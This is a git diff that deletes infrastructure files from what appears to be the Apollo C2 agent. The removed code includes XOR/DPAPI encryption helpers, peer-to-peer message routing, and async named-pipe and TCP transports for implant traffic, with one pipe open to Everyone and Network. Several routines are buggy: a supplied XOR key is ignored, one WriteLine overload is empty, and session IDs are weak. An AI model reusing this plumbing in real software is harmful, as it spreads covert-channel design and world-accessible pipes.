- - public virtual string GetUUID() - { - return ASCIIEncoding.ASCII.GetString(UUID); - } - - public abstract string Encrypt(string plaintext); - - public abstract string Decrypt(string ciphertext); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/DpapiRoutine.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/DpapiRoutine.cs deleted file mode 100644 index e6192e9b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/DpapiRoutine.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System.Security.Cryptography; -using ApolloInterop.Interfaces; - -namespace ApolloInterop.Classes.Cryptography -{ - public class DpapiRoutine : ICryptographicRoutine - { - private readonly byte[] _additionalEntropy; - private readonly DataProtectionScope _scope; - public DpapiRoutine(byte[] additionalEntropy, DataProtectionScope scope = DataProtectionScope.CurrentUser) - { - _additionalEntropy = additionalEntropy; - _scope = scope; - } - - public DpapiRoutine(DataProtectionScope scope = DataProtectionScope.CurrentUser) - { - _scope = scope; - _additionalEntropy = null; - } - - public byte[] Encrypt(byte[] data) - { - return ProtectedData.Protect(data, _additionalEntropy, _scope); - } - - public byte[] Decrypt(byte[] data) - { - return ProtectedData.Unprotect(data, _additionalEntropy, _scope); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/RSAKeyGenerator.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/RSAKeyGenerator.cs deleted file mode 100644 index c07d529d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/RSAKeyGenerator.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using System.Linq; -using System.Security.Cryptography; - -namespace ApolloInterop.Classes -{ - public abstract class RSAKeyGenerator - { - public string SessionId { get; private set; } - public RSACryptoServiceProvider RSA { get; protected set; } - public RSAKeyGenerator(int szKey) - { - SessionId = GenerateSessionId(); - } - - public RSAKeyGenerator(RSACryptoServiceProvider provider) - { - SessionId = GenerateSessionId(); - RSA = provider; - } - - public virtual string GenerateSessionId() - { - Random random = new Random((int)DateTime.UtcNow.Ticks); - const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; - return new string(Enumerable.Repeat(chars, 20) - .Select(s => s[random.Next(s.Length)]).ToArray()); - } - - public abstract string ExportPublicKey(); - public abstract string ExportPrivateKey(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/XorRoutine.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/XorRoutine.cs deleted file mode 100644 index 7ab74980..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Cryptography/XorRoutine.cs +++ /dev/null @@ -1,42 +0,0 @@ -using ApolloInterop.Interfaces; - -namespace ApolloInterop.Classes.Cryptography -{ - public class XorRoutine : ICryptographicRoutine - { - private byte[] _key; - - public XorRoutine(byte[] key = null) - { - if (key == null) - { - _key = System.Guid.NewGuid().ToByteArray(); - } - } - - private byte[] Xor(byte[] input) - { - int j = 0; - for (int i = 0; i < input.Length; i++, j++) - { - if (j == _key.Length) - { - j = 0; - } - input[i] = (byte)(input[i] ^ _key[j]); - } - - return input; - } - - public byte[] Encrypt(byte[] data) - { - return Xor(data); - } - - public byte[] Decrypt(byte[] data) - { - return Xor(data); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/ChunkMessageEventArgs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/ChunkMessageEventArgs.cs deleted file mode 100644 index 1ab8d6a1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/ChunkMessageEventArgs.cs +++ /dev/null @@ -1,15 +0,0 @@ -using ApolloInterop.Interfaces; -using System; - -namespace ApolloInterop.Classes.Events -{ - public class ChunkMessageEventArgs : EventArgs where T : IChunkMessage - { - public T[] Chunks; - - public ChunkMessageEventArgs(T[] chunks) - { - Chunks = chunks; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/MythicMessageEventArgs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/MythicMessageEventArgs.cs deleted file mode 100644 index 509044fb..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/MythicMessageEventArgs.cs +++ /dev/null @@ -1,12 +0,0 @@ -using ApolloInterop.Interfaces; -using System; - -namespace ApolloInterop.Classes.Events -{ - public class MythicMessageEventArgs : EventArgs - { - public IMythicMessage Message; - - public MythicMessageEventArgs(IMythicMessage msg) => Message = msg; - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/StringDataEventArgs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/StringDataEventArgs.cs deleted file mode 100644 index e94d8c20..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/StringDataEventArgs.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System; - -namespace ApolloInterop.Classes.Events -{ - public class StringDataEventArgs : EventArgs - { - public string Data; - - public StringDataEventArgs(string d) - { - Data = d; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/UUIDEventArgs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/UUIDEventArgs.cs deleted file mode 100644 index c083c9e1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Events/UUIDEventArgs.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System; - -namespace ApolloInterop.Classes -{ - public class UUIDEventArgs : EventArgs - { - public readonly string UUID; - public UUIDEventArgs(string uuid) - { - UUID = uuid; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/IO/EventableStringWriter.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/IO/EventableStringWriter.cs deleted file mode 100644 index eb1e5c22..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/IO/EventableStringWriter.cs +++ /dev/null @@ -1,188 +0,0 @@ -using ApolloInterop.Classes.Events; -using System; -using System.IO; -using System.Linq; - -namespace ApolloInterop.Classes.IO -{ - public class EventableStringWriter : StringWriter - { - public event EventHandler BufferWritten; - - public override void Write(string value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value)); - } - - public override void Write(char[] buffer, int index, int count) - { - string value = new string(buffer.Skip(index).Take(count).ToArray()); - BufferWritten?.Invoke(this, new StringDataEventArgs(value)); - } - - public override void Write(char[] buffer) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer))); - } - - public override void Write(bool value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(int value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(uint value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(long value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(ulong value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(float value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(double value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(decimal value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(object value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void Write(string format, object arg0) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0))); - } - - public override void Write(string format, object arg0, object arg1) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1))); - } - - public override void Write(string format, object arg0, object arg1, object arg2) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2))); - } - - public override void Write(string format, params object[] arg) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg))); - } - - public override void Write(char value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString())); - } - - public override void WriteLine(char[] buffer, int index, int count) - { - string value = new string(buffer.Skip(0).Take(count).ToArray()); - BufferWritten?.Invoke(this, new StringDataEventArgs(value + "\r\n")); - } - - public override void WriteLine() - { - BufferWritten?.Invoke(this, new StringDataEventArgs("\r\n")); - } - - public override void WriteLine(char value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(char[] buffer) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer) + "\r\n")); - } - - public override void WriteLine(bool value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(int value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(uint value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(long value) - { - } - - public override void WriteLine(ulong value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(float value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(double value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(decimal value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(string value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(object value) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n")); - } - - public override void WriteLine(string format, object arg0) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0) + "\r\n")); - } - - public override void WriteLine(string format, object arg0, object arg1) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1) + "\r\n")); - } - - public override void WriteLine(string format, object arg0, object arg1, object arg2) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2) + "\r\n")); - } - - public override void WriteLine(string format, params object[] arg) - { - BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg) + "\r\n")); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/P2P/Peer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/P2P/Peer.cs deleted file mode 100644 index 80090019..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/P2P/Peer.cs +++ /dev/null @@ -1,117 +0,0 @@ -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Events; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Interfaces; -using ApolloInterop.Serializers; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.Text; -using System.Threading; - -namespace ApolloInterop.Classes.P2P -{ - public abstract class Peer : IPeer - { - public string C2ProfileName { get; protected set; } - protected IAgent _agent; - protected ISerializer _serializer; - protected PeerInformation _peerInfo; - protected string _uuid; - protected string _mythicUUID; - protected bool _previouslyConnected; - public event EventHandler UUIDNegotiated; - protected ConcurrentDictionary> _messageOrganizer = new ConcurrentDictionary>(); - protected ConcurrentQueue _senderQueue = new ConcurrentQueue(); - protected AutoResetEvent _senderEvent = new AutoResetEvent(false); - protected MessageType _serverResponseType; - - public event EventHandler ConnectionEstablished; - public event EventHandler Disconnect; - protected CancellationTokenSource _cts = new CancellationTokenSource(); - - public Peer(IAgent agent, PeerInformation data, ISerializer serializer = null) - { - _agent = agent; - _peerInfo = data; - _uuid = agent.GetApi().NewUUID(); - _previouslyConnected = false; - if (serializer == null) - { - _serializer = new JsonSerializer(); - } - } - protected virtual void OnUUIDNegotiated(object sender, UUIDEventArgs args) - { - if (UUIDNegotiated != null) - { - UUIDNegotiated(sender, args); - } - } - - public virtual void OnConnectionEstablished(object sender, EventArgs args) - { - ConnectionEstablished?.Invoke(sender, args); - } - - public virtual void OnDisconnect(object sender, EventArgs args) - { - Disconnect?.Invoke(sender, args); - } - - public abstract bool Start(); - public abstract void Stop(); - public abstract bool Connected(); - public virtual void ProcessMessage(DelegateMessage message) - { - if (!string.IsNullOrEmpty(message.MythicUUID) && - message.MythicUUID != _uuid) - { - _mythicUUID = message.MythicUUID; - OnUUIDNegotiated(this, new UUIDEventArgs(_mythicUUID)); - _uuid = _mythicUUID; - } - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(message.Message)); - _senderEvent.Set(); - } - - public void DeserializeToReceiver(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for(int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - // Probably where we do sorting based on EKE, - // checkin, and get_tasking - switch (mt) - { - // part of the checkin process, flag next message to be of EKE - case MessageType.EKEHandshakeMessage: - _serverResponseType = MessageType.EKEHandshakeResponse; - break; - default: - _serverResponseType = MessageType.MessageResponse; - break; - } - _agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage() - { - UUID = _uuid, - C2Profile = C2ProfileName, - Message = Encoding.UTF8.GetString(data.ToArray()) - }); - } - - public virtual string GetUUID() { return _uuid; } - public virtual string GetMythicUUID() { return _mythicUUID; } - public abstract bool Finished(); - - - - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/P2P/PeerManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/P2P/PeerManager.cs deleted file mode 100644 index bff020dd..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/P2P/PeerManager.cs +++ /dev/null @@ -1,39 +0,0 @@ -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Collections.Concurrent; - -namespace ApolloInterop.Classes.P2P -{ - public abstract class PeerManager : IPeerManager - { - protected ConcurrentDictionary _peers = new ConcurrentDictionary(); - protected IAgent _agent; - public PeerManager(IAgent agent) - { - _agent = agent; - } - - public abstract Peer AddPeer(PeerInformation info); - public virtual bool Remove(string uuid) - { - bool bRet = true; - if (_peers.ContainsKey(uuid)) - { - bRet = _peers.TryRemove(uuid, out var p); - if (bRet) - { - p.Stop(); - } - } - - return bRet; - } - - public virtual bool Remove(IPeer peer) - { - return Remove(peer.GetUUID()); - } - - public abstract bool Route(DelegateMessage msg); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeClient.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeClient.cs deleted file mode 100644 index 3389f557..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeClient.cs +++ /dev/null @@ -1,106 +0,0 @@ -using ApolloInterop.Constants; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Utils; -using System; -using System.IO.Pipes; - -namespace ApolloInterop.Classes -{ - public class AsyncNamedPipeClient - { - private readonly NamedPipeClientStream _pipe; - public event EventHandler MessageReceived; - public event EventHandler ConnectionEstablished; - public event EventHandler Disconnect; - public AsyncNamedPipeClient(string host, string pipename) - { - _pipe = new NamedPipeClientStream( - host, - pipename, - PipeDirection.InOut, - PipeOptions.Asynchronous | PipeOptions.WriteThrough - ); - } - - public bool Connect(Int32 msTimeout) - { - try - { - _pipe.Connect(msTimeout); - // Client times out, so fail. - } catch { return false; } - _pipe.ReadMode = PipeTransmissionMode.Message; - IPCData pd = new IPCData() - { - Pipe = _pipe, - State = _pipe, - Data = new byte[IPC.RECV_SIZE], - }; - OnConnectionEstablished(new NamedPipeMessageArgs(_pipe, pd, pd.State)); - BeginRead(pd); - return true; - } - - public void BeginRead(IPCData pd) - { - bool isConnected = pd.Pipe.IsConnected; - if (isConnected) - { - try - { - pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd); - } catch (Exception ex) - { - DebugHelp.DebugWriteLine($"got exception for named pipe: {ex}"); - isConnected = false; - } - } - - if (!isConnected) - { - pd.Pipe.Close(); - DebugHelp.DebugWriteLine($"disconnecting on named pipe"); - OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State)); - } - } - - private void OnAsyncMessageReceived(IAsyncResult result) - { - // read from client until complete - IPCData pd = (IPCData)result.AsyncState; - try{ - Int32 bytesRead = pd.Pipe.EndRead(result); - if (bytesRead > 0) - { - pd.DataLength = bytesRead; - OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State)); - } else - { - DebugHelp.DebugWriteLine($"closing pipe in OnAsyncMessageReceived with 0 bytesRead"); - pd.Pipe.Close(); - } - BeginRead(pd); - }catch(Exception ex){ - DebugHelp.DebugWriteLine($"error reading from named pipe: {ex}"); - pd.Pipe.Close(); - OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State)); - } - } - - private void OnConnectionEstablished(NamedPipeMessageArgs args) - { - ConnectionEstablished?.Invoke(this, args); - } - - private void OnMessageReceived(NamedPipeMessageArgs args) - { - MessageReceived?.Invoke(this, args); - } - - private void OnDisconnect(NamedPipeMessageArgs args) - { - DebugHelp.DebugWriteLine($"OnDisconnect"); - Disconnect?.Invoke(this, args); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeServer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeServer.cs deleted file mode 100644 index fbb917b2..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/AsyncNamedPipeServer.cs +++ /dev/null @@ -1,185 +0,0 @@ -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Utils; -using System; -using System.Collections.Concurrent; -using System.IO.Pipes; -using System.Security.AccessControl; -using System.Security.Principal; -using System.Threading; -using System.Threading.Tasks; - -namespace ApolloInterop.Classes -{ - public class AsyncNamedPipeServer - { - private bool _running = true; - - private readonly string _pipeName; - private readonly PipeSecurity _pipeSecurity; - private readonly int _BUF_IN; - private readonly int _BUF_OUT; - private readonly int _maxInstances; - - private ConcurrentDictionary _connections = new(); - - public event EventHandler ConnectionEstablished; - public event EventHandler MessageReceived; - public event EventHandler Disconnect; - - public AsyncNamedPipeServer(string pipename, PipeSecurity ps = null, int instances=1, int BUF_IN=4096, int BUF_OUT=4096) - { - _pipeName = pipename; - _BUF_IN = BUF_IN; - _BUF_OUT = BUF_OUT; - _maxInstances = instances; - if (ps == null) - { - _pipeSecurity = new PipeSecurity(); - PipeAccessRule multipleInstances = new PipeAccessRule(WindowsIdentity.GetCurrent().Name, PipeAccessRights.CreateNewInstance, AccessControlType.Allow); - PipeAccessRule everyoneAllowedRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow); - PipeAccessRule networkAllowRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.NetworkSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow); - _pipeSecurity.AddAccessRule(multipleInstances); - _pipeSecurity.AddAccessRule(everyoneAllowedRule); - _pipeSecurity.AddAccessRule(networkAllowRule); - } - - for(int i = 0; i < _maxInstances; i++) - { - CreateServerPipe(); - } - } - - public void Stop() - { - _running = false; - foreach (var pipe in _connections.Keys) - { - pipe.Close(); - } - while(true) - { - int count = _connections.Count; - if (count == 0) - break; - System.Threading.Thread.Sleep(5); - } - } - - private void CreateServerPipe() - { - DebugHelp.DebugWriteLine($"Creating Named Pipe: {_pipeName}"); - NamedPipeServerStream pipe = new NamedPipeServerStream( - _pipeName, - PipeDirection.InOut, - -1, - PipeTransmissionMode.Message, - PipeOptions.Asynchronous | PipeOptions.WriteThrough, - _BUF_IN, - _BUF_OUT, - _pipeSecurity - ); - //NamedPipeServerStream pipe = new NamedPipeServerStream(_pipeName, PipeDirection.InOut, -1, PipeTransmissionMode.Message, PipeOptions.Asynchronous); - // wait for client to connect async - try - { - pipe.BeginWaitForConnection(OnClientConnected, pipe); - }catch(Exception ex) - { - - } - - } - - private bool IsPersistentConnectionAsync(NamedPipeServerStream pipeServer) - { - // Try to complete the read task within the timeout - var completedTask = Task.WhenAny( - Task.Delay(500) - ); - return pipeServer.IsConnected; - } - - - private void OnConnect(NamedPipeMessageArgs args) - { - ConnectionEstablished?.Invoke(this, args); - } - - private void OnMessageReceived(NamedPipeMessageArgs args) - { - MessageReceived?.Invoke(this, args); - } - - private void OnDisconnect(NamedPipeMessageArgs args) - { - DebugHelp.DebugWriteLine($"Client disconnected from Named Pipe: {_pipeName}"); - Disconnect?.Invoke(this, args); - } - - private void OnClientConnected(IAsyncResult result) - { - // complete connection - NamedPipeServerStream pipe = (NamedPipeServerStream)result.AsyncState; - pipe.EndWaitForConnection(result); - DebugHelp.DebugWriteLine($"Client connected to Named Pipe: {_pipeName}"); - if(!IsPersistentConnectionAsync(pipe)) - { - pipe.Close(); - } - // create client pipe structure - IPCData pd = new IPCData() - { - Pipe = pipe, - State = null, - Data = new byte[_BUF_IN], - }; - - // Add to connection list - if (_running && _connections.TryAdd(pipe, pd)) - { - // Prep the next connection - CreateServerPipe(); - OnConnect(new NamedPipeMessageArgs(pipe, null, this)); - BeginRead(pd); - } else - { - pipe.Close(); - } - } - - private void BeginRead(IPCData pd) - { - bool isConnected = pd.Pipe.IsConnected; - if (isConnected) - { - try - { - pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd); - } catch (Exception ex) - { - isConnected = false; - } - } - - if (!isConnected) - { - pd.Pipe.Close(); - OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State)); - _connections.TryRemove(pd.Pipe, out IPCData nullobj); - } - } - - private void OnAsyncMessageReceived(IAsyncResult result) - { - // read from client until complete - IPCData pd = (IPCData)result.AsyncState; - Int32 bytesRead = pd.Pipe.EndRead(result); - if (bytesRead > 0) - { - pd.DataLength = bytesRead; - OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State)); - } - BeginRead(pd); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/NamedPipeMessageArgs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/NamedPipeMessageArgs.cs deleted file mode 100644 index 02ff34bd..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Pipes/NamedPipeMessageArgs.cs +++ /dev/null @@ -1,21 +0,0 @@ -using ApolloInterop.Structs.ApolloStructs; -using System; -using System.IO.Pipes; - -namespace ApolloInterop.Classes -{ - public class NamedPipeMessageArgs : EventArgs - { - public PipeStream Pipe; - public IPCData Data; - public Object State; - - public NamedPipeMessageArgs(PipeStream pipe, IPCData? data, Object state) - { - Pipe = pipe; - if (data != null) - Data = (IPCData)data; - State = state; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/AsyncTcpClient.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/AsyncTcpClient.cs deleted file mode 100644 index 009c4632..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/AsyncTcpClient.cs +++ /dev/null @@ -1,149 +0,0 @@ -using ApolloInterop.Constants; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Utils; -using System; -using System.Net; -using System.Net.Sockets; - -namespace ApolloInterop.Classes -{ - public class AsyncTcpClient - { - private readonly TcpClient _client; - private readonly string _host; - private readonly int _port; - private readonly IPAddress _addr = null; - private readonly bool _clientConnectionSupplied; - - public event EventHandler ConnectionEstablished; - public event EventHandler MessageReceived; - public event EventHandler Disconnect; - - public AsyncTcpClient(string host, int port) - { - _client = new TcpClient(); - _host = host; - _port = port; - _clientConnectionSupplied = false; - } - - public AsyncTcpClient(IPAddress host, int port) - { - _client = new TcpClient(); - _addr = host; - _port = port; - _clientConnectionSupplied = false; - } - public AsyncTcpClient(TcpClient client) - { - _client = client; - _clientConnectionSupplied = true; - } - - public bool Connect() - { - if (!_clientConnectionSupplied) - { - try - { - if (_addr == null) - { - _client.Connect(_host, _port); - } - else - { - _client.Connect(_addr, _port); - } - // Client times out, so fail. - } - catch { return false; } - } - - // we set pipe to be message transactions ; don't think we need to for tcp - IPCData pd = new IPCData() - { - Client = _client, - State = _client, - NetworkStream = _client.GetStream(), - Data = new byte[IPC.RECV_SIZE], - }; - pd.NetworkStream.ReadTimeout = -1; - OnConnect(new TcpMessageEventArgs(_client, pd, _client)); - BeginRead(pd); - return true; - } - - private void OnConnect(TcpMessageEventArgs args) - { - if (ConnectionEstablished != null) - { - ConnectionEstablished(this, args); - } - } - - public void BeginRead(IPCData pd) - { - bool isConnected = pd.Client.Connected; - if (isConnected) - { - try - { - pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd); - } - catch (Exception ex) - { - isConnected = false; - } - } - - if (!isConnected) - { - pd.Client.Close(); - OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State)); - } - } - - private void OnDisconnect(TcpMessageEventArgs args) - { - if (Disconnect != null) - { - Disconnect(this, args); - } - } - - private void OnMessageReceived(TcpMessageEventArgs args) - { - if (MessageReceived != null) - { - MessageReceived(this, args); - } - } - - private void OnAsyncMessageReceived(IAsyncResult result) - { - // read from client until complete - IPCData pd = (IPCData)result.AsyncState; - try - { - //DebugHelp.DebugWriteLine($"in OnAsyncMessageReceived in AsyncTcpClient"); - Int32 bytesRead = pd.NetworkStream.EndRead(result); - if (bytesRead > 0) - { - pd.DataLength = bytesRead; - OnMessageReceived(new TcpMessageEventArgs(pd.Client, pd, pd.State)); - } else - { - pd.Client.Close(); - OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State)); - return; - } - } catch (Exception ex) - { - pd.Client.Close(); - OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State)); - return; - } - BeginRead(pd); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/AsyncTcpServer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/AsyncTcpServer.cs deleted file mode 100644 index 62f15e04..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Tcp/AsyncTcpServer.cs +++ /dev/null @@ -1,134 +0,0 @@ -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Utils; -using System; -using System.Collections.Concurrent; -using System.Net; -using System.Net.Sockets; - -namespace ApolloInterop.Classes -{ - public class AsyncTcpServer - { - private readonly int _BUF_IN; - private readonly int _BUF_OUT; - private readonly int _port; - private readonly TcpListener _server; - - private ConcurrentDictionary _connections = new ConcurrentDictionary(); - - public event EventHandler ConnectionEstablished; - public event EventHandler MessageReceived; - public event EventHandler Disconnect; - - private void OnConnect(object sender, TcpMessageEventArgs args) => ConnectionEstablished?.Invoke(sender, args); - private void OnMessageReceived(object sender, TcpMessageEventArgs args) => MessageReceived?.Invoke(sender, args); - private void OnDisconnect(object sender, TcpMessageEventArgs args) => Disconnect?.Invoke(sender, args); - - private bool _running = true; - - public AsyncTcpServer(int port, int BUF_IN = Constants.IPC.RECV_SIZE, int BUF_OUT = Constants.IPC.SEND_SIZE) - { - _BUF_IN = BUF_IN; - _BUF_OUT = BUF_OUT; - _port = port; - _server = new TcpListener(IPAddress.Any, port); - _server.Start(); - _server.BeginAcceptTcpClient(OnClientConnected, _server); - } - - public void Stop() - { - _running = false; - foreach (var client in _connections.Keys) - { - client.Close(); - } - while (true) - { - int count = _connections.Count; - if (count == 0) - break; - System.Threading.Thread.Sleep(5); - } - } - - private void OnClientConnected(IAsyncResult result) - { - // complete connection - TcpListener server = (TcpListener)result.AsyncState; - TcpClient client = server.EndAcceptTcpClient(result); - - // create client pipe structure - IPCData pd = new IPCData() - { - Client = client, - NetworkStream = client.GetStream(), - State = null, - Data = new byte[_BUF_IN], - }; - pd.NetworkStream.ReadTimeout = -1; - // Add to connection list - if (_running && _connections.TryAdd(client, pd)) - { - _server.BeginAcceptTcpClient(OnClientConnected, _server); - OnConnect(this, new TcpMessageEventArgs(client, pd, this)); - BeginRead(pd); - } - else - { - client.Close(); - } - } - - private void BeginRead(IPCData pd) - { - bool isConnected; - try - { - isConnected = pd.Client.Connected; - if (isConnected) - { - try - { - pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd); - } - catch (Exception ex) - { - isConnected = false; - } - } - } catch { isConnected = false; } - - if (!isConnected) - { - pd.Client.Client?.Close(); - OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State)); - _connections.TryRemove(pd.Client, out IPCData _); - } - } - - private void OnAsyncMessageReceived(IAsyncResult result) - { - // read from client until complete - IPCData pd = (IPCData)result.AsyncState; - try - { - Int32 bytesRead = pd.NetworkStream.EndRead(result); - if (bytesRead > 0) - { - pd.DataLength = bytesRead; - OnMessageReceived(this, new TcpMessageEventArgs(pd.Client, pd, pd.State)); - } else - { - pd.Client.Close(); - OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State)); - return; - } - } catch (Exception ex) - { - 